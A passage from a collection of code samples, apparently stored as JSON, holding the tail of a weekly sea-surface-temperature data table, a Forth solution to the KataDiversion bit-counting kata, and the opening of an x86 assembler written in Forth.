27.3-0.1     27.6-0.2     28.4-0.2\n 29APR2009     25.3 0.4     27.5 0.2     27.7-0.1     28.6 0.0\n 06MAY2009     25.3 0.7     27.6 0.4     27.9 0.1     28.8 0.1\n 13MAY2009     24.8 0.5     27.4 0.3     28.0 0.2     29.0 0.2\n 20MAY2009     24.4 0.4     27.4 0.4     28.2 0.4     29.1 0.3\n 27MAY2009     24.3 0.6     27.2 0.4     28.1 0.3     29.1 0.3\n 03JUN2009     23.7 0.4     27.1 0.4     27.9 0.2     29.0 0.2\n 10JUN2009     23.7 0.6     27.2 0.6     28.1 0.4     29.1 0.3\n 17JUN2009     23.9 1.1     27.2 0.8     28.2 0.5     29.2 0.4\n 24JUN2009     23.5 1.0     27.1 0.9     28.2 0.7     29.3 0.5\n 01JUL2009     22.9 0.7     26.9 0.9     28.2 0.7     29.3 0.5\n 08JUL2009     23.0 1.1     26.7 0.9     28.0 0.7     29.2 0.4\n 15JUL2009     22.7 1.0     26.6 1.0     28.0 0.7     29.2 0.4\n 22JUL2009     22.2 0.8     26.5 1.0     27.9 0.8     29.2 0.4\n 29JUL2009     22.1 0.9     26.2 0.8     27.7 0.6     29.1 0.4\n 05AUG2009     22.2 1.2     26.0 0.8     27.6 0.6     29.1 0.4\n 12AUG2009     21.4 0.6     25.9 0.8     27.4 0.6     29.1 0.4\n 19AUG2009     21.6 0.9     25.8 0.9     27.4 0.6     29.2 0.6\n 26AUG2009     21.5 1.0     25.9 1.0     27.6 0.8     29.3 0.7\n 02SEP2009     21.4 0.9     25.9 1.0     27.6 0.8     29.3 0.6\n 09SEP2009     21.1 0.6     25.7 0.8     27.5 0.8     29.3 0.6\n 16SEP2009     20.8 0.4     25.6 0.8     27.5 0.8     29.3 0.6\n 23SEP2009     20.5 0.0     25.6 0.7     27.4 0.7     29.2 0.6\n 30SEP2009     20.4-0.2     25.4 0.6     27.3 0.6     29.2 0.6\n 07OCT2009     20.1-0.5     25.5 0.6     27.3 0.6     29.4 0.7\n 14OCT2009     21.0 0.2     25.6 0.7     27.5 0.8     29.6 1.0\n 21OCT2009     21.2 0.3     25.8 0.8     27.7 1.0     29.8 1.2\n 28OCT2009     21.6 0.5     26.1 1.2     28.1 1.4     30.0 1.3\n 04NOV2009     21.8 0.5     26.2 1.3     28.2 1.6     29.9 1.3\n 11NOV2009     22.1 0.6     26.2 1.2     28.2 1.5     29.9 1.3\n 18NOV2009     22.2 0.5     26.2 1.2     28.2 1.6     29.8 1.2\n 25NOV2009     22.2 0.3     26.3 1.2     28.2 1.6     29.9 1.3\n 02DEC2009     22.7 0.4     26.5 1.4     28.2 1.6     29.7 1.2\n 09DEC2009     22.7 0.2     26.6 1.5     28.2 1.7     29.6 1.1\n 16DEC2009     22.6-0.2     26.7 1.5     28.3 1.8     29.7 1.2\n 23DEC2009     23.7 0.5     26.8 1.5     28.4 1.9     29.7 1.3\n 30DEC2009     24.3 0.7     26.7 1.4     28.3 1.7     29.6 1.2\n 06JAN2010     24.3 0.4     26.7 1.2     28.3 1.7     29.7 1.3\n 13JAN2010     24.6 0.3     26.7 1.1     28.2 1.6     29.6 1.3\n 20JAN2010     24.7 0.1     26.5 0.8     28.0 1.4     29.5 1.2\n 27JAN2010     25.5 0.4     26.6 0.7     27.8 1.2     29.3 1.1\n 03FEB2010     25.4 0.0     26.7 0.6     27.8 1.2     29.1 1.0\n 10FEB2010     25.7-0.2     27.0 0.7     27.9 1.2     29.0 0.9\n 17FEB2010     26.4 0.3     27.2 0.8     27.9 1.2     29.0 1.0\n 24FEB2010     26.5 0.3     27.4 0.8     28.0 1.1     29.2 1.1\n 03MAR2010     26.3-0.1     27.5 0.7     28.1 1.1     29.2 1.0\n 10MAR2010     26.0-0.4     27.5 0.5     28.3 1.2     29.3 1.1\n 17MAR2010     26.2-0.3     27.8 0.7     28.4 1.1     29.2 1.1\n 24MAR2010     26.3 0.0     27.9 0.7     28.4 1.0     29.2 0.9\n 31MAR2010     25.9-0.1     28.1 0.8     28.4 0.9     29.2 0.8\n 07APR2010     26.0 0.3     28.1 0.7     28.4 0.8     29.3 0.9\n 14APR2010     26.6 1.0     28.2 0.8     28.5 0.7     29.2 0.7\n 21APR2010     26.0 0.8     28.0 0.6     28.4 0.6     29.2 0.7\n 28APR2010     25.2 0.3     27.8 0.4     28.2 0.4     29.3 0.7\n 05MAY2010     24.8 0.2     27.7 0.5     28.0 0.2     29.1 0.4\n 12MAY2010     24.8 0.5     27.1 0.0     27.7-0.2     29.0 0.3\n 19MAY2010     24.0 0.0     26.8-0.3     27.5-0.3     29.0 0.2\n 26MAY2010     23.2-0.5     26.4-0.4     27.5-0.3     29.0 0.2\n 02JUN2010     23.4 0.0     26.1-0.6     27.3-0.5     28.8 0.0\n 09JUN2010     23.1 0.0     26.0-0.6     27.1-0.6     28.7-0.1\n 16JUN2010     22.3-0.5     25.8-0.6     27.0-0.7     28.6-0.2\n 23JUN2010     22.4-0.2     25.5-0.8     26.9-0.7     28.5-0.3\n 30JUN2010     21.6-0.7     25.3-0.8     26.7-0.8     28.3-0.5\n 07JUL2010     20.9-1.1     24.8-1.0     26.4-0.9     28.2-0.6\n 14JUL2010     20.0-1.6     24.6-1.1     26.1-1.1     28.2-0.6\n 21JUL2010     19.6-1.9     24.4-1.1     26.0-1.2     28.0-0.8\n 28JUL2010     19.5-1.7     24.0-1.4     25.6-1.4     27.8-1.0\n 04AUG2010     19.5-1.5     24.0-1.3     25.8-1.2     27.7-1.0\n 11AUG2010     19.6-1.2     24.1-1.0     25.7-1.2     27.5-1.2\n 18AUG2010     19.2-1.4     23.8-1.1     25.6-1.2     27.5-1.1\n 25AUG2010     19.2-1.4     23.7-1.3     25.2-1.6     27.1-1.5\n 01SEP2010     18.8-1.7     23.4-1.5     25.1-1.7     27.2-1.5\n 08SEP2010     19.1-1.3     23.5-1.4     25.2-1.6     27.1-1.6\n 15SEP2010     18.6-1.8     23.4-1.5     25.1-1.6     27.1-1.6\n 22SEP2010     19.3-1.2     24.0-0.8     25.1-1.6     27.1-1.6\n 29SEP2010     19.2-1.4     23.5-1.3     24.8-1.9     27.1-1.6\n 06OCT2010     18.7-1.9     23.2-1.7     24.8-1.9     27.1-1.6\n 13OCT2010     18.9-1.9     23.0-2.0     25.1-1.6     27.1-1.6\n 20OCT2010     19.1-1.8     23.2-1.7     25.1-1.6     27.0-1.7\n 27OCT2010     19.8-1.3     23.6-1.4     25.2-1.5     27.0-1.6\n 03NOV2010     19.7-1.6     23.4-1.6     25.2-1.4     27.0-1.6\n 10NOV2010     19.5-1.9     23.5-1.5     25.2-1.4     27.2-1.5\n 17NOV2010     20.2-1.5     23.5-1.5     25.0-1.6     27.1-1.5\n 24NOV2010     20.6-1.3     23.3-1.7     24.9-1.7     26.9-1.7\n 01DEC2010     20.5-1.7     23.3-1.7     25.0-1.7     27.0-1.5\n 08DEC2010     20.9-1.5     23.4-1.7     25.0-1.6     26.9-1.6\n 15DEC2010     21.1-1.7     23.5-1.7     25.0-1.5     26.9-1.6\n 22DEC2010     21.7-1.4     23.4-1.8     24.8-1.8     26.8-1.6\n 29DEC2010     22.9-0.6     23.8-1.5     25.0-1.5     26.7-1.7\n 05JAN2011     23.1-0.7     24.1-1.3     25.0-1.5     26.7-1.7\n 12JAN2011     23.6-0.7     24.1-1.5     24.7-1.8     26.6-1.7\n 19JAN2011     24.2-0.5     24.4-1.3     25.0-1.6     26.7-1.6\n 26JAN2011     25.0 0.0     24.5-1.4     24.9-1.7     26.8-1.4\n 02FEB2011     25.3-0.1     24.9-1.1     25.1-1.5     26.6-1.5\n 09FEB2011     25.9 0.2     25.5-0.8     25.5-1.2     26.8-1.3\n 16FEB2011     26.8 0.7     25.6-0.8     25.4-1.3     27.0-1.1\n 23FEB2011     26.4 0.2     25.9-0.7     25.6-1.3     27.0-1.1\n 02MAR2011     25.7-0.6     26.0-0.8     25.7-1.3     27.1-1.1\n 09MAR2011     26.3-0.2     26.2-0.8     26.0-1.1     27.3-0.9\n 16MAR2011     26.6 0.1     26.3-0.8     26.4-0.9     27.5-0.7\n 23MAR2011     25.8-0.5     26.6-0.6     26.4-0.9     27.5-0.7\n 30MAR2011     25.6-0.4     26.9-0.4     26.6-0.9     27.5-0.8\n 06APR2011     25.4-0.4     27.1-0.2     26.9-0.7     27.7-0.6\n 13APR2011     25.8 0.3     27.3-0.2     27.1-0.7     27.9-0.6\n 20APR2011     25.4 0.1     27.2-0.3     27.1-0.7     27.8-0.7\n 27APR2011     25.8 0.8     27.2-0.1     27.1-0.7     27.9-0.7\n 04MAY2011     25.1 0.4     27.0-0.3     27.2-0.6     28.0-0.7\n 11MAY2011     25.3 0.9     27.0-0.2     27.4-0.5     28.3-0.5\n 18MAY2011     24.6 0.5     27.0-0.1     27.6-0.3     28.4-0.4\n 25MAY2011     24.0 0.3     26.8 0.0     27.5-0.3     28.3-0.5\n 01JUN2011     24.3 0.8     26.8 0.1     27.5-0.2     28.4-0.4\n 08JUN2011     24.2 1.1     26.7 0.1     27.5-0.2     28.4-0.4\n 15JUN2011     23.8 1.0     26.6 0.1     27.4-0.2     28.4-0.4\n 22JUN2011     23.2 0.6     26.5 0.2     27.4-0.1     28.4-0.4\n 29JUN2011     22.9 0.6     26.1 0.1     27.4-0.1     28.6-0.2\n 06JUL2011     22.2 0.2     25.8-0.1     27.1-0.3     28.5-0.3\n 13JUL2011     21.9 0.2     25.7 0.0     27.1-0.2     28.5-0.3\n 20JUL2011     22.1 0.6     25.6 0.0     26.9-0.3     28.4-0.4\n 27JUL2011     21.9 0.7     25.3-0.1     26.8-0.3     28.4-0.4\n 03AUG2011     21.5 0.4     25.0-0.3     26.4-0.6     28.3-0.4\n 10AUG2011     20.9 0.0     24.6-0.5     26.3-0.6     28.4-0.3\n 17AUG2011     20.5-0.1     24.5-0.5     26.0-0.8     28.2-0.4\n 24AUG2011     20.2-0.4     24.3-0.6     26.1-0.7     28.3-0.4\n 31AUG2011     20.0-0.5     24.4-0.5     26.1-0.7     28.3-0.4\n 07SEP2011     19.7-0.7     24.2-0.7     26.1-0.7     28.2-0.5\n 14SEP2011     19.6-0.8     24.1-0.7     26.0-0.8     28.0-0.7\n 21SEP2011     19.8-0.6     24.3-0.6     25.9-0.9     27.8-0.9\n 28SEP2011     19.9-0.6     24.1-0.7     26.0-0.7     28.0-0.7\n 05OCT2011     19.8-0.8     24.1-0.8     25.7-1.0     27.7-0.9\n 12OCT2011     19.7-1.0     24.1-0.8     25.8-0.9     27.9-0.8\n 19OCT2011     20.0-0.9     23.9-1.1     25.8-0.8     28.1-0.6\n 26OCT2011     21.2 0.2     23.8-1.1     25.4-1.2     28.0-0.7\n 02NOV2011     20.5-0.8     23.9-1.1     25.6-1.0     27.9-0.8\n 09NOV2011     20.5-0.9     23.9-1.1     25.7-0.9     27.9-0.7\n 16NOV2011     20.5-1.1     23.8-1.1     25.6-1.0     27.9-0.7\n 23NOV2011     21.4-0.5     24.0-1.0     25.6-1.0     27.8-0.8\n 30NOV2011     21.0-1.2     23.8-1.3     25.4-1.2     27.7-0.9\n 07DEC2011     21.4-1.0     23.9-1.2     25.5-1.1     27.5-1.0\n 14DEC2011     21.5-1.2     24.1-1.0     25.6-1.0     27.4-1.1\n 21DEC2011     22.1-1.0     24.5-0.7     25.6-1.0     27.2-1.3\n 28DEC2011     22.6-0.9     24.4-0.9     25.5-1.1     27.1-1.3\n 04JAN2012     22.7-1.1     24.6-0.8     25.5-1.0     27.2-1.2\n 11JAN2012     23.7-0.5     24.8-0.7     25.6-1.0     27.1-1.2\n 18JAN2012     24.0-0.6     24.9-0.8     25.4-1.2     27.1-1.2\n 25JAN2012     24.6-0.4     25.2-0.7     25.5-1.2     26.9-1.3\n 01FEB2012     24.6-0.8     25.2-0.8     25.5-1.2     27.0-1.2\n 08FEB2012     25.2-0.5     25.6-0.6     25.7-1.0     27.1-1.0\n 15FEB2012     26.9 0.8     26.3-0.1     26.1-0.7     27.1-1.0\n 22FEB2012     26.9 0.8     26.8 0.2     26.5-0.4     27.4-0.7\n 29FEB2012     27.3 1.0     27.1 0.4     26.4-0.6     27.2-0.9\n 07MAR2012     26.6 0.2     26.7-0.2     26.4-0.7     27.3-0.9\n 14MAR2012     26.6 0.2     26.6-0.4     26.6-0.6     27.5-0.7\n 21MAR2012     26.7 0.4     27.0-0.2     26.7-0.6     27.8-0.5\n 28MAR2012     26.9 0.8     27.5 0.3     27.1-0.3     27.7-0.6\n 04APR2012     26.2 0.3     27.6 0.3     27.2-0.3     27.9-0.5\n 11APR2012     27.4 1.8     27.8 0.4     27.3-0.4     28.1-0.3\n 18APR2012     26.8 1.4     27.5 0.0     27.3-0.5     28.1-0.4\n 25APR2012     26.6 1.5     27.5 0.1     27.6-0.2     28.4-0.2\n 02MAY2012     26.3 1.6     27.4 0.1     27.7-0.1     28.4-0.2\n 09MAY2012     25.7 1.2     27.3 0.1     27.8 0.0     28.4-0.3\n 16MAY2012     25.2 1.0     27.2 0.1     27.8 0.0     28.5-0.3\n 23MAY2012     24.8 0.9     27.1 0.2     27.8 0.0     28.6-0.2\n 30MAY2012     24.5 0.9     27.2 0.4     27.9 0.2     28.7-0.1\n 06JUN2012     24.7 1.5     27.1 0.4     27.8 0.1     28.6-0.2\n 13JUN2012     24.4 1.5     27.1 0.6     27.9 0.3     28.6-0.2\n 20JUN2012     24.3 1.7     27.1 0.8     28.0 0.4     28.8 0.0\n 27JUN2012     23.8 1.5     27.1 0.9     28.1 0.6     28.9 0.0\n 04JUL2012     23.2 1.1     26.8 0.8     27.9 0.5     28.8 0.0\n 11JUL2012     22.6 0.8     26.6 0.8     27.7 0.4     28.8 0.0\n 18JUL2012     22.6 1.1     26.5 0.9     27.7 0.5     28.8 0.0\n 25JUL2012     22.0 0.7     26.4 1.0     27.7 0.6     28.9 0.1\n 01AUG2012     21.6 0.5     26.1 0.9     27.6 0.6     29.0 0.3\n 08AUG2012     20.9 0.0     25.9 0.8     27.7 0.8     29.1 0.4\n 15AUG2012     20.8 0.1     25.6 0.6     27.4 0.6     29.1 0.4\n 22AUG2012     21.0 0.4     25.5 0.5     27.4 0.6     29.1 0.4\n 29AUG2012     20.3-0.2     25.6 0.7     27.7 0.9     29.1 0.5\n 05SEP2012     20.7 0.3     25.5 0.6     27.5 0.8     29.2 0.5\n 12SEP2012     20.9 0.5     25.3 0.4     27.3 0.5     29.1 0.4\n 19SEP2012     21.0 0.5     25.2 0.3     27.0 0.3     29.0 0.4\n 26SEP2012     21.0 0.5     25.1 0.2     26.9 0.2     29.1 0.4\n 03OCT2012     20.5-0.1     24.8-0.1     26.8 0.1     29.0 0.3\n 10OCT2012     20.2-0.6     24.7-0.2     26.8 0.1     29.1 0.4\n 17OCT2012     20.5-0.4     25.0 0.1     27.0 0.3     29.1 0.5\n 24OCT2012     21.0 0.0     25.0 0.1     27.2 0.5     29.3 0.7\n 31OCT2012     21.5 0.3     25.2 0.2     27.1 0.4     29.2 0.6\n 07NOV2012     21.5 0.2     25.1 0.1     27.0 0.4     29.2 0.6\n 14NOV2012     21.0-0.5     25.2 0.2     27.2 0.5     29.3 0.7\n 21NOV2012     21.1-0.7     25.1 0.1     26.9 0.3     29.1 0.5\n 28NOV2012     20.7-1.4     24.9-0.1     26.8 0.2     28.9 0.4\n 05DEC2012     21.5-0.9     24.9-0.2     26.5-0.1     28.6 0.1\n 12DEC2012     21.8-0.8     24.8-0.3     26.5-0.1     28.8 0.4\n 19DEC2012     22.4-0.6     24.9-0.3     26.4-0.2     28.6 0.2\n 26DEC2012     22.7-0.6     25.0-0.3     26.4-0.1     28.6 0.2\n 02JAN2013     23.3-0.4     25.0-0.4     26.3-0.3     28.4 0.1\n 09JAN2013     23.7-0.4     24.8-0.7     26.0-0.6     28.3 0.0\n 16JAN2013     24.1-0.4     25.0-0.6     26.0-0.6     28.1-0.2\n 23JAN2013     24.2-0.6     25.3-0.5     26.4-0.2     28.2 0.0\n 30JAN2013     24.8-0.5     25.1-0.9     26.1-0.5     28.1 0.0\n 06FEB2013     25.4-0.2     25.5-0.7     26.2-0.5     28.1-0.1\n 13FEB2013     25.9-0.1     25.9-0.4     26.4-0.3     28.1 0.0\n 20FEB2013     25.6-0.6     26.2-0.3     26.3-0.5     27.9-0.1\n 27FEB2013     25.8-0.4     26.5-0.2     26.6-0.3     27.9-0.2\n 06MAR2013     26.7 0.4     27.0 0.1     26.9-0.1     27.9-0.2\n 13MAR2013     27.0 0.5     27.1 0.0     26.8-0.3     27.7-0.4\n 20MAR2013     26.6 0.2     27.6 0.4     27.1-0.1     28.0-0.2\n 27MAR2013     25.6-0.5     27.6 0.3     27.3-0.1     28.1-0.2\n 03APR2013     25.0-0.9     27.3 0.0     27.6 0.1     28.3 0.0\n 10APR2013     24.8-0.9     27.5 0.0     27.7 0.0     28.5 0.1\n 17APR2013     24.6-0.8     27.5 0.0     27.7-0.1     28.5 0.0\n 24APR2013     24.5-0.6     27.3-0.1     27.7-0.1     28.4-0.1\n 01MAY2013     23.6-1.2     26.9-0.4     27.8 0.0     28.7 0.0\n 08MAY2013     22.9-1.6     26.7-0.5     27.7-0.1     28.7 0.0\n 15MAY2013     23.2-1.1     26.5-0.6     27.5-0.4     28.6-0.2\n 22MAY2013     22.3-1.6     25.9-1.0     27.4-0.4     28.7-0.1\n 29MAY2013     21.5-2.1     25.9-0.9     27.5-0.2     28.8 0.0\n 05JUN2013     22.0-1.3     25.9-0.8     27.5-0.2     28.8 0.0\n 12JUN2013     21.9-1.1     25.9-0.6     27.5-0.2     28.8-0.1\n 19JUN2013     21.1-1.6     25.7-0.7     27.3-0.3     28.6-0.2\n 26JUN2013     20.5-1.9     25.6-0.6     27.4-0.1     28.8 0.0\n 03JUL2013     20.6-1.5     25.4-0.5     27.2-0.2     28.8 0.0\n 10JUL2013     20.5-1.3     25.0-0.8     26.9-0.4     28.8 0.0\n 17JUL2013     20.1-1.5     24.8-0.8     26.8-0.4     28.7-0.1\n 24JUL2013     20.3-1.1     24.9-0.6     26.8-0.3     28.7-0.1\n 31JUL2013     19.8-1.3     24.6-0.8     26.8-0.2     28.7 0.0\n 07AUG2013     19.8-1.1     24.5-0.7     26.7-0.3     28.6-0.1\n 14AUG2013     19.6-1.1     24.4-0.7     26.4-0.4     28.7 0.0\n 21AUG2013     19.9-0.8     24.4-0.6     26.4-0.4     28.7 0.0\n 28AUG2013     19.4-1.1     24.5-0.5     26.7-0.1     28.8 0.2\n 04SEP2013     19.6-0.9     24.6-0.3     26.8 0.0     28.8 0.1\n 11SEP2013     20.0-0.4     24.7-0.2     26.8 0.0     28.7 0.0\n 18SEP2013     19.9-0.5     24.9 0.1     26.7-0.1     28.6-0.1\n 25SEP2013     20.1-0.4     24.7-0.2     26.5-0.2     28.5-0.1\n 02OCT2013     19.7-0.9     24.6-0.2     26.4-0.3     28.7 0.0\n 09OCT2013     20.1-0.7     24.6-0.3     26.3-0.3     28.6 0.0\n 16OCT2013     20.3-0.5     24.8-0.1     26.3-0.4     28.6-0.1\n 23OCT2013     20.5-0.4     24.7-0.2     26.3-0.4     28.7 0.1\n 30OCT2013     20.5-0.7     24.8-0.1     26.5-0.2     28.8 0.2\n 06NOV2013     21.0-0.4     24.8-0.1     26.6 0.0     28.9 0.3\n 13NOV2013     21.1-0.4     24.7-0.2     26.6 0.0     28.9 0.3\n 20NOV2013     21.3-0.5     24.8-0.2     26.7 0.1     28.9 0.3\n 27NOV2013     21.7-0.4     24.9-0.1     26.7 0.1     28.8 0.2\n 04DEC2013     22.0-0.3     24.9-0.2     26.8 0.2     28.8 0.3\n 11DEC2013     22.4-0.2     25.1 0.0     26.6 0.0     28.7 0.2\n 18DEC2013     22.4-0.5     25.2 0.0     26.5-0.1     28.6 0.1\n 25DEC2013     22.8-0.4     25.2-0.1     26.4-0.2     28.5 0.1\n 01JAN2014     23.7 0.0     25.2-0.2     26.3-0.3     28.2-0.2\n 08JAN2014     24.2 0.1     25.1-0.5     26.0-0.5     28.2-0.2\n 15JAN2014     25.0 0.6     25.2-0.4     25.9-0.7     28.0-0.3\n 22JAN2014     25.4 0.6     25.6-0.2     26.2-0.4     28.1-0.1\n 29JAN2014     25.4 0.2     25.3-0.7     25.9-0.7     27.9-0.2\n 05FEB2014     25.1-0.4     25.3-0.8     25.9-0.7     28.1 0.0\n 12FEB2014     25.4-0.6     25.4-0.9     26.2-0.5     28.5 0.4\n 19FEB2014     25.1-1.1     25.7-0.7     26.4-0.4     28.5 0.4\n 26FEB2014     25.5-0.7     26.0-0.6     26.3-0.6     28.2 0.1\n 05MAR2014     26.1-0.3     26.4-0.5     26.6-0.4     28.5 0.3\n 12MAR2014     25.8-0.6     26.8-0.3     26.8-0.4     28.7 0.6\n 19MAR2014     25.2-1.2     27.3 0.1     27.4 0.1     28.8 0.6\n 26MAR2014     25.4-0.7     27.6 0.4     27.6 0.2     29.0 0.7\n 02APR2014     25.2-0.7     27.8 0.5     27.8 0.3     29.0 0.7\n 09APR2014     24.9-0.8     27.6 0.1     27.9 0.2     29.1 0.7\n 16APR2014     24.8-0.7     27.7 0.2     28.0 0.2     29.1 0.6\n 23APR2014     25.3 0.1     27.8 0.4     28.2 0.4     29.2 0.6\n 30APR2014     25.7 0.8     27.8 0.5     28.2 0.4     29.3 0.7\n 07MAY2014     25.8 1.2     27.8 0.6     28.3 0.5     29.5 0.8\n 14MAY2014     25.5 1.3     27.7 0.6     28.3 0.4     29.5 0.8\n 21MAY2014     25.4 1.5     27.6 0.7     28.3 0.5     29.6 0.8\n 28MAY2014     25.3 1.6     27.6 0.7     28.4 0.6     29.7 0.9\n 04JUN2014     24.8 1.4     27.5 0.8     28.3 0.5     29.6 0.8\n 11JUN2014     24.6 1.6     27.3 0.8     28.1 0.4     29.5 0.6\n 18JUN2014     24.8 2.1     27.4 1.0     28.1 0.5     29.4 0.5\n 25JUN2014     24.0 1.6     27.2 1.0     28.0 0.5     29.3 0.5\n 02JUL2014     23.6 1.4     27.0 1.0     27.8 0.4     29.1 0.3\n 09JUL2014     23.0 1.1     26.5 0.6     27.6 0.3     29.1 0.3\n 16JUL2014     23.1 1.5     26.2 0.6     27.4 0.2     29.1 0.4\n 23JUL2014     22.9 1.6     26.0 0.5     27.1-0.1     28.9 0.2\n 30JUL2014     21.8 0.6     25.5 0.2     26.9-0.1     29.0 0.3\n 06AUG2014     22.2 1.2     25.6 0.4     27.0 0.0     29.2 0.5\n 13AUG2014     21.9 1.2     25.5 0.5     26.9 0.0     29.0 0.4\n 20AUG2014     22.1 1.4     25.5 0.5     27.1 0.3     29.1 0.4\n 27AUG2014     21.3 0.8     25.4 0.4     27.2 0.4     29.2 0.5\n 03SEP2014     21.7 1.2     25.3 0.4     27.1 0.4     29.2 0.5\n 10SEP2014     21.1 0.7     25.3 0.4     27.3 0.5     29.4 0.7\n 17SEP2014     21.0 0.7     25.2 0.4     27.2 0.5     29.4 0.8\n 24SEP2014     21.2 0.8     25.4 0.5     27.1 0.4     29.3 0.6\n 01OCT2014     21.7 1.1     25.4 0.5     27.1 0.3     29.2 0.5\n 08OCT2014     21.3 0.6     25.5 0.6     27.1 0.4     29.1 0.5\n 15OCT2014     21.5 0.7     25.5 0.5     27.2 0.5     29.4 0.7\n 22OCT2014     21.8 0.8     25.8 0.8     27.2 0.5     29.4 0.7\n 29OCT2014     21.8 0.6     25.8 0.9     27.3 0.6     29.4 0.8\n 05NOV2014     21.9 0.5     25.8 0.9     27.4 0.8     29.5 0.9\n 12NOV2014     22.4 0.9     25.8 0.9     27.5 0.8     29.5 0.9\n 19NOV2014     22.6 0.8     26.0 1.0     27.5 0.9     29.5 0.9\n 26NOV2014     22.4 0.4     25.9 0.9     27.6 1.0     29.5 0.9\n 03DEC2014     22.3 0.0     25.8 0.7     27.4 0.8     29.4 0.9\n 10DEC2014     22.8 0.2     26.0 0.9     27.5 0.9     29.4 0.9\n 17DEC2014     22.9 0.1     26.0 0.8     27.4 0.8     29.4 1.0\n 24DEC2014     23.1-0.2     26.0 0.7     27.3 0.7     29.3 0.9\n 31DEC2014     23.6 0.0     25.9 0.6     27.1 0.5     29.2 0.8\n 07JAN2015     23.7-0.2     25.9 0.4     27.0 0.4     29.1 0.7\n 14JAN2015     24.0-0.4     25.9 0.3     27.1 0.5     29.1 0.9\n 21JAN2015     24.3-0.4     26.1 0.3     27.2 0.6     29.2 1.0\n 28JAN2015     24.8-0.3     26.2 0.3     27.2 0.5     29.1 0.9\n 04FEB2015     25.0-0.5     26.2 0.1     27.2 0.5     29.1 0.9\n 11FEB2015     25.1-0.8     26.6 0.3     27.2 0.5     29.0 0.9\n 18FEB2015     26.1-0.1     26.7 0.3     27.3 0.5     29.0 1.0\n 25FEB2015     26.1-0.1     26.8 0.1     27.5 0.6     29.3 1.2\n"
  },
  {
    "path": "samples/Forth/KataDiversion.fth",
    "content": "\\ KataDiversion in Forth\n\n\\ -- utils\n\n\\ empty the stack\n: EMPTY\n    DEPTH 0 <> IF BEGIN\n                    DROP DEPTH 0 =\n                  UNTIL\n               THEN ;\n\n\\ power\n: ** ( n1 n2 -- n1_pow_n2 ) 1 SWAP ?DUP IF 0 DO OVER * LOOP THEN NIP ;\n\n\\ compute the highest power of 2 below N.\n\\ e.g. : 31 -> 16, 4 -> 4\n: MAXPOW2 ( n -- log2_n ) DUP 1 < IF 1 ABORT\" Maxpow2 need a positive value.\"\n                               ELSE DUP 1 = IF 1\n                                            ELSE\n                                                1 >R\n                                                BEGIN ( n |R: i=1)\n                                                    DUP DUP I - 2 *\n                                                    ( n n 2*[n-i])\n                                                    R> 2 * >R ( … |R: i*2)\n                                                    > ( n n>2*[n-i] )\n                                                UNTIL\n                                                R> 2 /\n                                            THEN\n                               THEN NIP ;\n\n\\ -- kata\n\n\\ test if the given N has two adjacent 1 bits\n\\ e.g. : 11 -> 1011 -> -1\n\\         9 -> 1001 ->  0\n: ?NOT-TWO-ADJACENT-1-BITS ( n -- bool )\n    \\ the word uses the following algorithm :\n    \\ (stack|return stack)\n    \\ ( A N | X )  A: 0, X: N LOG2\n    \\ loop: if N-X > 0 then A++ else A=0 ; X /= 2\n    \\       return 0 if A=2\n    \\       if X=1 end loop and return -1\n    0 SWAP DUP DUP 0 <> IF\n                            MAXPOW2 >R\n                            BEGIN\n                                DUP I - 0 >= IF \n                                                SWAP DUP 1 = IF 1+ SWAP\n                                                             ELSE DROP 1 SWAP I -\n                                                            THEN\n                                             ELSE NIP 0 SWAP\n                                             THEN\n                                OVER\n                                2 =\n                                I 1 = OR\n                                R> 2 / >R\n                            UNTIL\n                            R> 2DROP\n                            2 <>\n                        ELSE 2DROP INVERT\n                        THEN ;\n\n\\ return the maximum number which can be made with N (given number) bits\n: MAX-NB ( n -- m ) DUP 1 < IF DROP 0 ( 0 )\n                            ELSE \n                                DUP IF DUP 2 SWAP ** NIP 1 - ( 2**n - 1 )\n                                    THEN\n                            THEN ;\n\n\n\\ return the number of numbers which can be made with N (given number) bits\n\\ or less, and which have not two adjacent 1 bits.\n\\ see http://www.codekata.com/2007/01/code_kata_fifte.html\n: HOW-MANY-NB-NOT-TWO-ADJACENT-1-BITS ( n -- m )\n       DUP 1 < IF DUP 0\n               ELSE\n                   0 SWAP\n                   MAX-NB 1 + 0 DO I ?NOT-TWO-ADJACENT-1-BITS - LOOP\n               THEN ;\n\n"
  },
  {
    "path": "samples/Forth/asm.fr",
    "content": "\\ Copyright 2013-2014 Lars Brinkhoff\n\n\\ Assembler for x86.\n\n\\ Adds to FORTH vocabulary: ASSEMBLER CODE ;CODE.\n\\ Creates ASSEMBLER vocabulary with: END-CODE and x86 opcodes.\n\n\\ Conventional prefix syntax: \"<source> <destination> <opcode>,\".\n\\ Addressing modes:\n\\ - immediate: \"n #\"\n\\ - direct: n\n\\ - register: <reg>\n\\ - indirect: \"<reg> )\"\n\\ - indirect with displacement: \"n <reg> )#\"\n\\ - indexed: not supported yet\n\nrequire lib/common.fth\nrequire search.fth\n\nvocabulary assembler\nalso assembler definitions\n\n\\ Access to the target image.\n' header,   defer header,  is header,\n' cell   defer cell   is cell\n' dp   defer dp   is dp\n0 value delta\n\n: aligned   cell + 1 - cell negate nand invert ;\n: align   dp @ aligned dp ! ;\n: allot   dp +! ;\n: here   dp @ ;\n: cells   cell * ;\n: c!   delta + c! ;\n: c,   here c!  1 allot ;\n: h,   dup c,  8 rshift c, ;\n: ,   dup h,  16 rshift h, ;\n\nbase @  hex\n\n\\ This constant signals that an operand is not a direct address.\ndeadbeef constant -addr\n\n\\ Assembler state.\nvariable opcode\nvariable d\nvariable s\nvariable dir?\nvariable mrrm   defer ?mrrm,\nvariable sib    defer ?sib,\nvariable disp   defer ?disp,\nvariable imm    defer ?imm,\ndefer imm,\ndefer immediate-opcode\ndefer reg\ndefer ?opsize\n\n\\ Set opcode.  And destination: register or memory.\n: opcode!   3@ is immediate-opcode >r opcode ! ;\n: !reg   dir? @ if 2 d ! then dir? off ;\n: !mem   dir? off ;\n\n\\ Set bits in mod/reg/rm byte.\n: -mrrm   ['] nop is ?mrrm, ;\n: mod!   mrrm c0 !bits ;\n: reg@   mrrm 38 @bits ;\n: reg!   mrrm 38 !bits ;\n: rm@   mrrm 7 @bits ;\n: rm!   rm@ 3 lshift reg!  mrrm 7 !bits ;\n: reg>opcode   rm@ opcode 07 !bits ;\n: opcode>reg   opcode @ dup 3 rshift rm!  8 rshift opcode ! ;\n\n\\ Write parts of instruction to memory.\n: ds   d @ s @ + ;\n: ?twobyte   dup FF > if dup 8 rshift c, then ;\n: opcode,   opcode @ ?twobyte ds + c, ;\n: mrrm,   mrrm @ c, ;\n: sib,   sib @ c, ;\n: imm8,   imm @ c, ;\n: imm16,   imm @ h, ;\n: 